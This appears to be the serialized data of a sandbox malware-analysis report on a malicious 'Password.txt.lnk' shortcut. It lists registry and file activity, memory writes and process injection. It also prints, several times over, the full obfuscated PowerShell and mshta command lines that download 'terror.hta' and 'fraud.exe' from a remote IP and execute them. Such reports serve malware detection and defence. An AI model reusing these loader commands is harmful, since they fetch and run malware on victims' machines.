24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 30:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T419,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Sample 4c6a8a2acdc3… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 4c6a8a2acdc3…. Threat score 100/100. 5/26 AV engines flagged this file. 8 malicious and 18 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/4c6a8a2acdc3bc3ab8fe29295981caf1a07ea69a60372df05a2bc74e383bb8dd","keywords":["Malicious","malware analysis","sandbox report","threat intelligence","4c6a8a2acdc3bc3ab8fe29295981caf1a07ea69a60372df05a2bc74e383bb8dd"],"about":{"@type":"SoftwareApplication","name":"Password.txt.lnk","applicationCategory":["lnk"],"identifier":"4c6a8a2acdc3bc3ab8fe29295981caf1a07ea69a60372df05a2bc74e383bb8dd","additionalType":"Malicious sample"},"threatScore":100,"antivirusDetections":{"malicious":5,"total":26},"behavioralIndicators":{"malicious":8,"suspicious":18},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:Ta6c,"powershell.exe" touched "Custom Destination List" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{77F10CF0-3DB5-4966-B520-B7C54FD35ED6}\PROGID") "powershell.exe" touched "Start Menu Cache" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\PROGID") "powershell.exe" touched "Start Menu Pin" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{A2A9545D-A0C2-42B4-9708-A0B2BADD77C8}\TREATAS") "powershell.exe" touched "Taskband Pin" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{90AA3A4E-1CBA-4233-B8BB-535773D48449}\PROGID") "powershell.exe" touched "Computer" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "powershell.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\INPROCSERVER32") "powershell.exe" touched "Memory Mapped Cache Mgr" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "powershell.exe" touched "Shortcut" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{00021401-0000-0000-C000-000000000046}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "Internet Shortcut" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{FBF23B40-E3F0-101B-8488-00AA003E56F8}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "powershell.exe" touched "A collection of IUnknown objects that can be enumerated" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2D3468C1-36A7-43B6-AC24-D3F02FD9607A}\INPROCHANDLER32") "mshta.exe" touched "WinInetBroker Class" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}\LOCALSERVER32") "mshta.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\INPROCHANDLER32") "mshta.exe" touched "Network List Manager" (Path: "HKCU\CLSID\{A47979D2-C419-11D9-A5B4-001185AD2B89}\LOCALSERVER32") "mshta.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "mshta.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "mshta.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "mshta.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "mshta.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "mshta.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "mshta.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER")26:T7ab,"powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\G65JRM29BNRQS8IF46NC.temp" "powershell.exe" touched file "C:\Users\GXIWqmx\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7a61bc6528ef78f5.customDestinations-ms" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "powershell.exe" touched file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch" "powershell.exe" touched file "C:\Windows\AppPatch\AppPatch64\sysmain.sdb" "powershell.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "powershell.exe" touched file "%APPDATA%\Microsoft\Windows\Recent\CustomDestinations" "mshta.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files" "mshta.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\CP53U0VR\terror[1].hta" "mshta.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "mshta.exe" touched file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Cookies" "mshta.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "mshta.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\CP53U0VR\terror[1].hta"27:T9b4,"powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xED8F760D" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "7813c00300000000" to virtual address "0x71822640" (part of module "SYSTEM.DATA.DLL") "powershell.exe" wrote bytes "65488b042598150000" to virtual address "0xED8F8C0B" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042598150000" to virtual address "0xED8F8C4B" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042598150000" to virtual address "0xED8F8C8B" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042598150000" to virtual address "0xED8F8CCB" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "a813c00300000000" to virtual address "0x71822648" (part of module "SYSTEM.DATA.DLL") "powershell.exe" wrote bytes "65488b042590150000" to virtual address "0xED8F7A44" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xED8F7403" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "669065488b042590150000c366669066669090" to virtual address "0xED8F5B40" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "eb11c366669066669066669066669066669090" to virtual address "0xED8F5BC0" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xED8F7480" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "4889114881fa1810c403722448c1e90a80b9400fc31bff7502f3c3c681400fc31bffc366666690666666906666906690f3c3ff7502f3c3c60408ffc366666690f3c3666666906666669066669066669090" to virtual address "0xED8F5F00" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xED8F755E" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "d813c00300000000" to virtual address "0x71822650" (part of module "SYSTEM.DATA.DLL") "powershell.exe" wrote bytes "9e341ff4586f0000" to virtual address "0xED681D70" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "0814c00300000000" to virtual address "0x71822658" (part of module "SYSTEM.DATA.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xED8F78AD" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "654c8b1c2590150000" to virtual address "0xED8F77AA" (part of module "MSCORWKS.DLL") "powershell.exe" wrote bytes "65488b042590150000" to virtual address "0xED8F7A25" (part of module "MSCORWKS.DLL")28:T806,"mshta.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "DISABLECACHINGOFSSLPAGES") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "BYPASSSSLNOCACHECHECK") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "BYPASSSSLNOCACHECHECK") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "BYPASSHTTPNOCACHECHECK") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "BYPASSHTTPNOCACHECHECK") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE"; Key: "SCAVENGECACHEFILELIMIT") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE"; Key: "SCAVENGECACHEFILELIMIT") "fraud.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "BYPASSSSLNOCACHECHECK") "fraud.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "BYPASSSSLNOCACHECHECK") "fraud.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "BYPASSHTTPNOCACHECHECK") "fraud.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "BYPASSHTTPNOCACHECHECK") "fraud.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "DISABLECACHINGOFSSLPAGES") "fraud.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE"; Key: "SCAVENGECACHEFILELIMIT") "fraud.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE"; Key: "SCAVENGECACHEFILELIMIT")29:T6fc,Process "powershell.exe" with commandline "-ExecutionPolicy UnRestricted function gqRMAA($CJNRkiQJ, $yxBWmLKh){[IO.File]::WriteAllBytes($CJNRkiQJ, $yxBWmLKh)};function NYIWwBe($CJNRkiQJ){Start-Process $CJNRkiQJ};function ytUvjaJsbozctDd($EAftgmuatLrCLMQnCflJ){$dbGutbGMCQKMuhVuqlBAE = New-Object (TkyoqQmFyKauWeim @(38254,38277,38292,38222,38263,38277,38274,38243,38284,38281,38277,38286,38292));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$yxBWmLKh = $dbGutbGMCQKMuhVuqlBAE.DownloadData($EAftgmuatLrCLMQnCflJ);return $yxBWmLKh};function TkyoqQmFyKauWeim($TajrXx){$fKAwxHu=38176;$AdukzFfhXcBfHer=$Null;foreach($WwRdkEJAWDWdaBB in $TajrXx){$AdukzFfhXcBfHer+=[char]($WwRdkEJAWDWdaBB-$fKAwxHu)};return $AdukzFfhXcBfHer};function UMFAgsAGmwUXv(){$yiMPSooDeTWpqcY = $env:AppData + '\';;$rvIjuRVMAqnMuFy = $yiMPSooDeTWpqcY + 'fuckusaterrorists.txt';If(Test-Path -Path $rvIjuRVMAqnMuFy){Invoke-Item $rvIjuRVMAqnMuFy;}Else{ $SNzmGHdakpWQTSXSv = ytUvjaJsbozctDd (TkyoqQmFyKauWeim @(38280,38292,38292,38288,38234,38223,38223,38229,38228,38222,38232,38224,38222,38226,38224,38228,38222,38225,38227,38227,38234,38232,38224,38223,38278,38293,38275,38283,38293,38291,38273,38292,38277,38290,38290,38287,38290,38281,38291,38292,38291,38222,38292,38296,38292));gqRMAA $rvIjuRVMAqnMuFy $SNzmGHdakpWQTSXSv;Invoke-Item $rvIjuRVMAqnMuFy;}$zwUBsd = $yiMPSooDeTWpqcY + 'fraud.exe'; if (Test-Path -Path $zwUBsd){NYIWwBe $zwUBsd;}Else{ $VFQwNqtj = ytUvjaJsbozctDd (TkyoqQmFyKauWeim @(38280,38292,38292,38288,38234,38223,38223,38229,38228,38222,38232,38224,38222,38226,38224,38228,38222,38225,38227,38227,38234,38232,38224,38223,38278,38290,38273,38293,38276,38222,38277,38296,38277));gqRMAA $zwUBsd $VFQwNqtj;NYIWwBe $zwUBsd;};;;;}UMFAgsAGmwUXv;" uac" (UID: 00000000-00002776)2a:T6a4,"mshta.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "mshta.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "mshta.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "00000000") "mshta.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE") "mshta.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER") "powershell.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "powershell.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "fraud.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "00000000") "fraud.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER") "fraud.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE") "fraud.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "fraud.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")2b:T63b,"powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.EXE"; Key: "ALWAYSSHOWEXT") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.EXE"; Key: "NEVERSHOWEXT") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.LNK"; Key: "ALWAYSSHOWEXT") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.EXE"; Key: "ALWAYSSHOWEXT") "mshta.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.EXE"; Key: "NEVERSHOWEXT") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\TEXT"; Key: "NEVERSHOWEXT") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.TXT"; Key: "NEVERSHOWEXT") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\TEXT"; Key: "ALWAYSSHOWEXT") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.TXT"; Key: "ALWAYSSHOWEXT") "NOTEPAD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.TXT"; Key: "ALWAYSSHOWEXT") "NOTEPAD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\TEXT"; Key: "ALWAYSSHOWEXT") "NOTEPAD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\.TXT"; Key: "NEVERSHOWEXT") "NOTEPAD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\SYSTEMFILEASSOCIATIONS\TEXT"; Key: "NEVERSHOWEXT")2c:T51c,"powershell.exe" wrote 32 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 940) "powershell.exe" wrote 52 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 940) "powershell.exe" wrote 8 bytes to a remote process "C:\Windows\System32\mshta.exe" (Handle: 940) "mshta.exe" wrote 32 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 1076) "mshta.exe" wrote 52 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 1076) "mshta.exe" wrote 8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 1076) "powershell.exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\fraud.exe" (Handle: 1416) "powershell.exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\fraud.exe" (Handle: 1416) "powershell.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\fraud.exe" (Handle: 1416) "powershell.exe" wrote 32 bytes to a remote process "C:\Windows\System32\notepad.exe" (Handle: 1384) "powershell.exe" wrote 52 bytes to a remote process "C:\Windows\System32\notepad.exe" (Handle: 1384) "powershell.exe" wrote 8 bytes to a remote process "C:\Windows\System32\notepad.exe" (Handle: 1384)2d:Taf4,Spawned process "powershell.exe" with commandline "<#cbf't;}jOd0#>$VhgvSKDShceNHSB=@(88809,88815,88804,88816,88797,88732,88804,88816,88816,88812,88758,88747,88747,88753,88752,88746,88756,88748,88746,88750,88748,88752,88746,88749,88751,88751,88758,88756,88748,88747,88816,88801,88814,88814,88811,88814,88746,88804,88816,88797);<#cbf't;}jOd0#>$IPTXcrDJgTk=@(88773,88769,88788);<#cbf't;}jOd0#>function ynNMCuxrX($mGheILKZoZFgx){$JFlugevtafEHQt=88700;<#cbf't;}jOd0#>$MxRBYlOSztVbNN=$Null;foreach($TCfJmJUUtHUFA in $mGheILKZoZFgx){$MxRBYlOSztVbNN+=[char]($TCfJmJUUtHUFA-$JFlugevtafEHQt)};return $MxRBYlOSztVbNN};sal EMNyoxSUtWaCVP (ynNMCuxrX $IPTXcrDJgTk);<#cbf't;}jOd0#>EMNyoxSUtWaCVP((ynNMCuxrX $VhgvSKDShceNHSB));" (UID: 00000000-00004016) Spawned process "mshta.exe" with commandline "http://54.80.204.133:80/terror.hta" (UID: 00000000-00001948) Spawned process "powershell.exe" with commandline "-ExecutionPolicy UnRestricted function gqRMAA($CJNRkiQJ, $yxBWmLKh){[IO.File]::WriteAllBytes($CJNRkiQJ, $yxBWmLKh)};function NYIWwBe($CJNRkiQJ){Start-Process $CJNRkiQJ};function ytUvjaJsbozctDd($EAftgmuatLrCLMQnCflJ){$dbGutbGMCQKMuhVuqlBAE = New-Object (TkyoqQmFyKauWeim @(38254,38277,38292,38222,38263,38277,38274,38243,38284,38281,38277,38286,38292));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$yxBWmLKh = $dbGutbGMCQKMuhVuqlBAE.DownloadData($EAftgmuatLrCLMQnCflJ);return $yxBWmLKh};function TkyoqQmFyKauWeim($TajrXx){$fKAwxHu=38176;$AdukzFfhXcBfHer=$Null;foreach($WwRdkEJAWDWdaBB in $TajrXx){$AdukzFfhXcBfHer+=[char]($WwRdkEJAWDWdaBB-$fKAwxHu)};return $AdukzFfhXcBfHer};function UMFAgsAGmwUXv(){$yiMPSooDeTWpqcY = $env:AppData + '\';;$rvIjuRVMAqnMuFy = $yiMPSooDeTWpqcY + 'fuckusaterrorists.txt';If(Test-Path -Path $rvIjuRVMAqnMuFy){Invoke-Item $rvIjuRVMAqnMuFy;}Else{ $SNzmGHdakpWQTSXSv = ytUvjaJsbozctDd (TkyoqQmFyKauWeim @(38280,38292,38292,38288,38234,38223,38223,38229,38228,38222,38232,38224,38222,38226,38224,38228,38222,38225,38227,38227,38234,38232,38224,38223,38278,38293,38275,38283,38293,38291,38273,38292,38277,38290,38290,38287,38290,38281,38291,38292,38291,38222,38292,38296,38292));gqRMAA $rvIjuRVMAqnMuFy $SNzmGHdakpWQTSXSv;Invoke-Item $rvIjuRVMAqnMuFy;}$zwUBsd = $yiMPSooDeTWpqcY + 'fraud.exe'; if (Test-Path -Path $zwUBsd){NYIWwBe $zwUBsd;}Else{ $VFQwNqtj = ytUvjaJsbozctDd (TkyoqQmFyKauWeim @(38280,38292,38292,38288,38234,38223,38223,38229,38228,38222,38232,38224,38222,38226,38224,38228,38222,38225,38227,38227,38234,38232,38224,38223,38278,38290,38273,38293,38276,38222,38277,38296,38277));gqRMAA $zwUBsd $VFQwNqtj;NYIWwBe $zwUBsd;};;;;}UMFAgsAGmwUXv;" uac" (UID: 00000000-00002776), Spawned process "NOTEPAD.EXE" with commandline "%APPDATA%\fuckusaterrorists.txt" (UID: 00000000-00003040), Spawned process "fraud.exe" (UID: 00000000-00003256)2e:T538,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAADr0lEQVR42u1XS0hUURgeauHCKIhKI/KF0qplr0VIUfTCMkyLoEUKLsSCShcVhQU9wMBxNJ1cBW0yywk3ToqIWI7COLhRUibKF6VTOc7jzty59/r1n3PnqTk+5kKbDn5cj8M53+P/z7mOTvd//B9/GSMjIwjB7Raw2rnVakVPTy8sFgsSFrCwAMzM/ER390c4nW4oihJ3Lssy7HY7zbvx9m2rNgLM5i6+0djYF04YO5dj5kzA7OwsenvVBEpKSqBdAnOuWMc0Z4SL5wyDg4OYmppCf38/SktLkYCAhSAUTh6BHCaLhcRhs9kQCATgcDgwMDCA8vJyrFtALPHKQiRJQl9fH7xeLzweDyYnJ9HZ2Yni4mKsWcBayUMC2tra0NLSgubmZg6TyYT29nZomMDyJWACJCnAwfZg5WCnwmw2r13AlMOJ/pFvmoCdjgQTiN94qnPVPWvACEQOtv6fJsD2WmcCq3W+2L0YhiiKfM2yZGXXbqCionJdeFytTzwBtpEbgEOmmy8A0A8EciHRMx7YYGtDXR/tnLlW4eeImwDbZJbIx13Ady9w76UFyceeIfWsAdkXXyDnkjGMnfn1yKG/ecUA/AGJC9AkAYcCfJ1TMOlSE3jXa0dmUQNSzxmQVtCItAvPCQ3YdkaP9HwDJIVeFFjgAqK7frHzVSfwkwSMk4AJJ6UgAD6fD1WvLNh6qgbphY3ICGI7Ccgu0GufABMwQe5ZAlQNfLBNILPQiPQLEfKMIiN2cAG1kIMvKjWB6I6PuPb7Q/DxExNXwG+o5B56Wu2/sedyE3YXPCdiIyfffb4eu/LrKIEa5JAAj1/jBOaIeMYHuCmJ07dasD3PgKyiRh5/ap4eKaeqqfZ6JB95gqz8miUJRNc+5DoaKyYwTwLoAKBneAYpebXUgMYw+YaDVXjdNQzL8DR0B+4j5cRT7XuA3QNkHvWmIWw5WcMFsMg3HqqC4c1A+J+Ttk+j2Jz7kJ+CUAKxdfctAWtodlPGFeAJXiyG1iFsOv6Mmq8BSbmPUFnXAYHqPU+O5+nJfn/f85knIGqZgDd4u3XYppF0tJrKYEAq1d3h8nOnHkmh21GBX1adR/dAbNdHXKsQOFZMwE/kTrqBqA9xuOwVdHvvYN/VJu7YQ27nBBFOwjzB5RP5KdA0AZGIf/nUFBwuERfvNEO3/x6uPDDBOvoDIrkVyX2Aas/qH53AUufCEqyYABsyIoMtEASBvvW4lwX7nK1N+GvYtes31/06vn33bsIC/gBx1GgeJiUTtgAAAABJRU5ErkJggg==2f:T6b7,-ExecutionPolicy UnRestricted function gqRMAA($CJNRkiQJ, $yxBWmLKh){[IO.File]::WriteAllBytes($CJNRkiQJ, $yxBWmLKh)};function NYIWwBe($CJNRkiQJ){Start-Process $CJNRkiQJ};function ytUvjaJsbozctDd($EAftgmuatLrCLMQnCflJ){$dbGutbGMCQKMuhVuqlBAE = New-Object (TkyoqQmFyKauWeim @(38254,38277,38292,38222,38263,38277,38274,38243,38284,38281,38277,38286,38292));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$yxBWmLKh = $dbGutbGMCQKMuhVuqlBAE.DownloadData($EAftgmuatLrCLMQnCflJ);return $yxBWmLKh};function TkyoqQmFyKauWeim($TajrXx){$fKAwxHu=38176;$AdukzFfhXcBfHer=$Null;foreach($WwRdkEJAWDWdaBB in $TajrXx){$AdukzFfhXcBfHer+=[char]($WwRdkEJAWDWdaBB-$fKAwxHu)};return $AdukzFfhXcBfHer};function UMFAgsAGmwUXv(){$yiMPSooDeTWpqcY = $env:AppData + '\';;$rvIjuRVMAqnMuFy = $yiMPSooDeTWpqcY + 'fuckusaterrorists.txt';If(Test-Path -Path $rvIjuRVMAqnMuFy){Invoke-Item $rvIjuRVMAqnMuFy;}Else{ $SNzmGHdakpWQTSXSv = ytUvjaJsbozctDd (TkyoqQmFyKauWeim @(38280,38292,38292,38288,38234,38223,38223,38229,38228,38222,38232,38224,38222,38226,38224,38228,38222,38225,38227,38227,38234,38232,38224,38223,38278,38293,38275,38283,38293,38291,38273,38292,38277,38290,38290,38287,38290,38281,38291,38292,38291,38222,38292,38296,38292));gqRMAA $rvIjuRVMAqnMuFy $SNzmGHdakpWQTSXSv;Invoke-Item $rvIjuRVMAqnMuFy;}$zwUBsd = $yiMPSooDeTWpqcY + 'fraud.exe'; if (Test-Path -Path $zwUBsd){NYIWwBe $zwUBsd;}Else{ $VFQwNqtj = ytUvjaJsbozctDd (TkyoqQmFyKauWeim @(38280,38292,38292,38288,38234,38223,38223,38229,38228,38222,38232,38224,38222,38226,38224,38228,38222,38225,38227,38227,38234,38232,38224,38223,38278,38290,38273,38293,38276,38222,38277,38296,38277));gqRMAA $zwUBsd $VFQwNqtj;NYIWwBe $zwUBsd;};;;;}UMFAgsAGmwUXv;" 